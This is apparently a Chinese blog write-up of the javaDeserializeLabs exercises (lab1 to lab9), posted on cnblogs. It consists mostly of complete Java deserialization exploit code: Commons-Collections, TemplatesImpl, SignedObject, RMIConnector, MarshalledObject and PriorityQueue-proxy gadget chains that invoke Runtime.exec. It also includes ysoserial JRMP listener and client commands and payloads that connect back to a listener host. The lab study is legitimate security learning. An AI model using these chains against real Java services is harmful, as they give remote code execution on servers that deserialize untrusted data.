Java Deserialize Labs实验记录

前言:Java Deserialize Labs实验记录

环境地址:https://github.com/waderwu/javaDeserializeLabs
参考文章:http://novic4.cn/index.php/archives/26.html

lab1-basic

关键代码如下所示,可以看到/basic接口触发反序列化,并且当前环境中存在Calc类的依赖,那么这里反序列化利用则通过Calc类来进行构造即可

@Controller
public class IndexController {
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
}

public class Calc implements Serializable {
private boolean canPopCalc = false;
private String cmd = "ls -al";
private void readObject(ObjectInputStream objectInputStream) throws Exception {
objectInputStream.defaultReadObject();
if (this.canPopCalc) {
Runtime.getRuntime().exec(this.cmd);
}
}
}

构造代码如下:

public class GetPoc {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Calc calc = new Calc();
setFieldValue(calc, "canPopCalc", true);
setFieldValue(calc, "cmd", "open -a calculator.app");
String s = Utils.objectToHexString(calc);
System.out.println(s);
}
}

lab2-ysoserial

第二题可以看到只给了代码,并没有给可以利用的类,代码如下图所示

public class IndexController {
@RequestMapping({"/basic"})
public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("SJTU") && year == 1896) {
objectInputStream.readObject();
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
}

这里通过观察相关引入的依赖可以知道存在commons-collections3.2.1,所以这里的话使用commons-collections3.2.1来进行利用

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

因为搭建的jdk版本为8,所以我这里需要支持jdk8的payload来进行利用,构造的代码如下图所示

需要注意的就是这边还需要满足两个条件name.equals("SJTU") && year == 1896,所以在写入对象的时候还需要先写入这两个对象才行

public class GetPoc {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open -a calculator.app"})
};
// LazyMap封装
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
// TiedMapEntry封装
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,121212121);
// BadAttributeValueExpException的val字段获取
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException, "val", tiedMapEntry);
// chainedTransformer's transformers
setFieldValue(chainedTransformer, "iTransformers", transformers);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(badAttributeValueExpException);
out.close();
System.out.println(Utils.bytesTohexString(bos.toByteArray()));
bos.close();
}
}

lab3-shiro-jrmp

触发点还是在/basic接口,但是接受反序列化的时候自己实现了一个类MyObjectInputStream重写了resolveClass方法和构造函数

原生类的resolveClass如下图所示

这里先不看其他的,直接通过payload来进行测试一次先,发现回显信息如下图所示,报错提示为java.lang.ClassNotFoundException,寻找不到[Ljava.lang.StackTraceElement

这里就涉及到一个知识点就是默认UrlClassLoader对于数组形式的对象是不支持loadClass的,这里做个测试如下图所示

import org.apache.commons.collections.Transformer;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoader_problem {
public static void main(String[] args) throws Exception {
String[] test_string = new String[]{"1","2"};
URL[] urls = ((URLClassLoader) Transformer.class.getClassLoader()).getURLs();
ClassLoader classLoader = new URLClassLoader(urls);
classLoader.loadClass(test_string.getClass().getName());
}
}

跟shiro反序列化中的利用一样,默认shiro反序列化loadClassUrlClassLoader,或者是可以通过二次反序列化(其中可以绕过无数组的限制)来进行绕过利用

具体问题可以参考文章:https://www.cnblogs.com/zpchcbd/p/14957034.html

这里通过针对shiro的payload进行测试,发现不行,结果如下图所示

ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
TemplatesImpl tpl = new TemplatesImpl();
setFieldValue(tpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(tpl, "_name", "HelloTemplatesImpl");
setFieldValue(tpl, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
HashMap innerMap = new HashMap();
Map m = LazyMap.decorate(innerMap, transformer);
Map outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, tpl);
outerMap.put(tied, "t");
// clear the inner map data, this is important
innerMap.clear();

但是发现会报错,报错信息如下

具体什么原因呢?这里通过报错的堆栈来进行跟随即可,可以发现在反序列化TemplatesImpl出现了问题,调试发现在反序列化TemplatesImpl的时候,相关属性存在数组,所以同样会触发数组反序列化的问题,所以这里的话TemplatesImpl同样不可取了

那么这里的话只能寻找其他的方法,对于shiro的攻击还有一种最原始的方法就是通过JRMP二次反序列化来进行攻击利用

这里配合使用的是ysoserial中的 exploit/JRMPClient和payload/JRMPListener,这边先用payload/JRMPListener使其开放一个1088端口

然后接着用exploit/JRMPClient进行攻击 java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1088 CommonsCollections6 calc

但是可以发现结果是不行,发现RMI在反序列化的时候存在被过滤的操作

这里需要用到payload.JRMPClient+exploit.JRMPListener来进行利用,通过查看Dockerfile可以知道jdk版本为8u222符合攻击范围

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections5 "calc"

生成相关payload.JRMPClient,这里记得进行写入相关条件的变量,然后进行攻击即可,攻击结果如下图所示

public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}

lab4-shiro-blind

看着代码其实跟Lab3没有什么不同,并且Lab3的payload在Lab4中也可以使用,看了别人的WP才知道这道题考点是不出网,因为自己是直接本地运行的环境的,并且docker的一些配置项也不是非常的了解导致没理解题意,这里的话考点就是解决不出网的利用

现在的原生二次反序列化类的利用有挺多种,比如jrmp的二次反序列化,signedObject的二次反序列化,RMIConnector的二次反序列化,这里对于jrmp的二次反序列化实则是需要出网的,那么我们这里的话就挑选signedObject进行二次反序列化,而这里signedObject二次反序列化的话需要触发getObject方法,如下图所示,所以还需要有个能够在反序列化中触发该方法的类,那么这里挑选一个InvokerTransformer类即可,其实这里的话直接signedObject+一条支持cc的链即可,并且也不需要考虑数组,因为在java.security.SignedObject#getObject中是通过ObjectInputStream来进行反序列化的

最终构造的payload如下

package com.yxxx.javasec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.security.provider.DSAPrivateKey;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Lab4_SignedObject {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static SignedObject getSignedObject() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
setFieldValue(chainedTransformer, "iTransformers", transformers);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signature = Signature.getInstance(privateKey.getAlgorithm());
SignedObject signedObject = new SignedObject(hashSet, privateKey, signature);
return signedObject;
}
public static void main(String[] args) throws Exception {
SignedObject signedObject = getSignedObject();
InvokerTransformer invokerTransformer = new InvokerTransformer("getObject", null, null);
Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, signedObject);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "test");
lazyMap.remove(signedObject);
setFieldValue(lazyMap,"factory", invokerTransformer);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(expMap);
String s = bytesTohexString(byteArrayOutputStream.toByteArray());
System.out.println(s);
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 15 & (bytes[i] >> 4);
ret.append("0123456789abcdef".charAt(b));
int b2 = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b2));
}
return ret.toString();
}
}

但是发现上述的signedObject的反序列化一直有问题,无法触发攻击,如下图所示,具体原因没研究

所以自己这里直接换成了RMIConnector来进行二次反序列化,攻击结果如下图所示

package com.yxxx.javasec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.*;
public class Lab4_RMIConnector_self {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static String getObject() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
setFieldValue(chainedTransformer, "iTransformers", transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
return Base64.getEncoder().encodeToString(barr.toByteArray());
}
public static void main(String[] args) throws Exception {
RMIConnector connector = new RMIConnector(new JMXServiceURL("service:jmx:iiop://127.0.0.1:8000/stub/{$payload}".replace("{$payload}", getObject())), null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
Map<Object,Object> lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, connector);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "test");
lazyMap.remove(connector);
setFieldValue(lazyMap,"factory", invokerTransformer);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(expMap);
String s = bytesTohexString(byteArrayOutputStream.toByteArray());
System.out.println(s);
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 15 & (bytes[i] >> 4);
ret.append("0123456789abcdef".charAt(b));
int b2 = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b2));
}
return ret.toString();
}
}

lab5-weblogic-readResolve

考点关于readResolve,参考文章:https://www.cnblogs.com/zpchcbd/p/15126154.html

可以看到变动的地方就是重写了resolveClass方法,那么为其添加了两个黑名单

static
{
blackList.add("org.apache.commons.collections.functors");
blackList.add("java.rmi.server");
}

但是这里多了一个MarshalledObject对象可以进行利用,可以发现只有一个readResolve方法,如果熟悉java.io.ObjectInputStream#readOrdinaryObject的话,会知道如果一个反序列化的类存在ResolveMethod方法,那么在反序列化的时候会调用其ResolveMethod方法进行执行

package com.yxxx.javasec;
import com.yxxx.javasec.deserialize.MarshalledObject;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Lab5 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getObjectBytes() throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
setFieldValue(chainedTransformer, "iTransformers", transformers);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashSet);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
public static void main(String[] args) throws Exception {
MarshalledObject marshalledObject = new MarshalledObject();
setFieldValue(marshalledObject, "bytes", getObjectBytes());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(marshalledObject);
objectOutputStream.close();
System.out.println(bytesTohexString(byteArrayOutputStream.toByteArray()));
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 15 & (bytes[i] >> 4);
ret.append("0123456789abcdef".charAt(b));
int b2 = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b2));
}
return ret.toString();
}
}

lab6-weblogic-resolveProxyClass

payload.JRMPClient不需要动态代理一样可以进行攻击,所以我这里尝试把动态代理的部分去掉,发现一样可以进行攻击,代码如下所示

为什么可以把部分代理的部分去掉?其实就是可以去掉的,因为Proxy类其中的InvocationHandler对象是RemoteObjectInvocationHandler,而默认反序列化Proxy就会去反序列化其中的InvocationHandler字段,也就是反序列化RemoteObjectInvocationHandler字段,然后同样会走到触发攻击的地方

package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.PayloadRunner;
import java.io.*;
import java.rmi.Remote;
import java.rmi.server.*;
import java.util.Random;
public class JRMPClient_bypass_jep_jdk231 extends PayloadRunner implements ObjectPayload<Remote> {
public Remote getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
Remote obj = new RemoteObjectInvocationHandler(ref);
return obj;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 15 & (bytes[i] >> 4);
ret.append("0123456789abcdef".charAt(b));
int b2 = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b2));
}
return ret.toString();
}
public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
public static void main ( final String[] args ) throws Exception {
Remote object = new JRMPClient_bypass_jep_jdk231().getObject("192.168.2.4:2333");
System.out.println(objectToHexString(object));
}
}

lab7-weblogic-UnicastRef

lab7中又继续添加了相关的黑名单,如下所示

static {
classBlackList.add("org.apache.commons.collections.functors");
classBlackList.add("sun.rmi.server.UnicastRef");
classBlackList.add("java.rmi.server.RemoteObjectInvocationHandler");
proxyBlackList.add("java.rmi.registry");
}

这里找了下大概考点应该是CVE-2018-3245,通过其他的RemoteObject子类代替RemoteObjectInvocationHandler即可,只要能够存储UnicastRef对象即可,但是通过WP发现还存在一个javax.management.BadAttributeValueExpException过滤,导致正常无法进行反序列化操作,也不知道咋解决,所以只能先放着了

因为BadAttributeValueExpException会在rmi通信中进行触发,这个不知道如何解决绕过

package ysoserial.payloads;
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.remote.rmi.RMIConnectionImpl_Stub;
import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient_2 extends PayloadRunner {
public RMIConnectionImpl_Stub getObject (final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RMIConnectionImpl_Stub obj = new RMIConnectionImpl_Stub(ref);
return obj;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 15 & (bytes[i] >> 4);
ret.append("0123456789abcdef".charAt(b));
int b2 = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b2));
}
return ret.toString();
}
public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeUTF("SJTU");
out.writeInt(1896);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
public static void main ( final String[] args ) throws Exception {
RMIConnectionImpl_Stub object = new JRMPClient_2().getObject("192.168.2.4:2333");
System.out.println(objectToHexString(object));
}
}

lab8-jrmp-unicastRemoteObject

不知道为啥,这个里面存储的是lab6,可能github仓库弄错了

lab9-proxy

题目中把commons-collection3.2.1库去掉了,然后留下了一个MyInvocationHandler,如下图所示,可以看到提供了一个任意类任意方法无参调用的点

没有依赖库那考点就是原生类的反序列化,然后还提供了一个sink点

public class MyInvocationHandler
implements InvocationHandler, Serializable
{
private Class type;
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable
{
Method[] methods = this.type.getDeclaredMethods();
for (Method xmethod : methods) {
xmethod.invoke(args[0], new Object[0]);
}
return null;
}
}

需要在反序列化中readObject中找到类似如下形式的才可以进行利用

/* object = in.readObject()
* MyInvocationHandler = in.readObject()
* MyInvocationHandler.xxx(object....)
* */
// source: 任意类#readObject
// chain: com.yxxx.javasec.deserialize.MyInvocationHandler#invoke
// sink: javax.xml.transform.Templates.getOutputProperties

这里直接通过tabby来进行搜索,sink点已经确定,所以这里找是source到chain的即可,发现tabby不支持动态代理的调用形式。。。

match (source:Method) where source.NAME="readObject"
match (m1:Method{NAME:"invoke",CLASSNAME:"com.yxxx.javasec.MyInvocationHandler"})
call apoc.algo.allSimplePaths(m1, source, "<CALL|ALIAS", 4) yield path
where none(n in nodes(path) where n.CLASSNAME in ["java.util.jar.Attributes$Name","java.io.FilePermissionCollection"] or n.NAME in["next"] or n.CLASSNAME=~'java.security.*')
return * limit 10

那么没办法只能在已知的链中看看有没有了,我看了别人的WP是从PriorityQueue中的,我这里看了下别的类,比如在TreeBag的反序列化中也是可以进行触发,所以这里就用TreeBag来做演示

package com.yxxx.javasec;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import com.zpchcbd.javassist.ExploitCalc;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.AbstractMapBag;
import org.apache.commons.collections4.bag.HashBag;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.TreeMap;
public class cc4_jdk8_v4_TreeBag {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass class_s = classpool.get(ExploitCalc.class.getName());
CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());
class_s.setSuperclass(class_f);
class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_name", "zpchcbd_test");
setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
setFieldValue(myInvocationHandler, "type", Templates.class);
Comparator comparator = (Comparator)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);
TreeBag treeBag = new TreeBag(comparator);
treeBag.add(templates);
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 15 & (bytes[i] >> 4);
ret.append("0123456789abcdef".charAt(b));
int b2 = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b2));
}
return ret.toString();
}
}

发现TreeBag是commons-collections4中的,有点尴尬,那这里直接用PriorityQueue即可

package com.yxxx.javasec;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.yxxx.javasec.deserialize.MyInvocationHandler;
import com.zpchcbd.javassist.ExploitCalc;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Comparator;
import java.util.PriorityQueue;
public class cc4_jdk8_v4_TreeBag {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
ClassPool classpool = ClassPool.getDefault();
classpool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass class_s = classpool.get(ExploitCalc.class.getName());
CtClass class_f = classpool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName());
class_s.setSuperclass(class_f);
class_s.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"calc\");");
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_name", "zpchcbd_test");
setFieldValue(templates, "_bytecodes", new byte[][]{class_s.toBytecode()});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);
MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
setFieldValue(myInvocationHandler, "type", Templates.class);
Comparator comparator = (Comparator)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Comparator.class}, myInvocationHandler);
setFieldValue(priorityQueue, "comparator", comparator);
Field field_queue = PriorityQueue.class.getDeclaredField("queue");
field_queue.setAccessible(true);
Object[] innerArr = (Object[]) field_queue.get(priorityQueue);
innerArr[0] = templates;
innerArr[1] = templates;
System.out.println(objectToHexString(priorityQueue));
}
public static String objectToHexString(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bos);
out.writeObject(obj);
out.flush();
byte[] bytes = bos.toByteArray();
bos.close();
String hex = bytesTohexString(bytes);
return hex;
}
public static String bytesTohexString(byte[] bytes) {
if (bytes == null) {
return null;
}
StringBuilder ret = new StringBuilder(2 * bytes.length);
for (int i = 0; i < bytes.length; i++) {
int b = 15 & (bytes[i] >> 4);
ret.append("0123456789abcdef".charAt(b));
int b2 = 15 & bytes[i];
ret.append("0123456789abcdef".charAt(b2));
}
return ret.toString();
}
}

总结

题目涉及到关于weblogic和RMI远程调用机制中出现的问题偏多,总体而言学习到很多了,自己还把JRMP相关的笔记给补完了,后面还有很多要学习了,加油!

posted @   zpchcbd  阅读(876)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
点击右上角即可分享
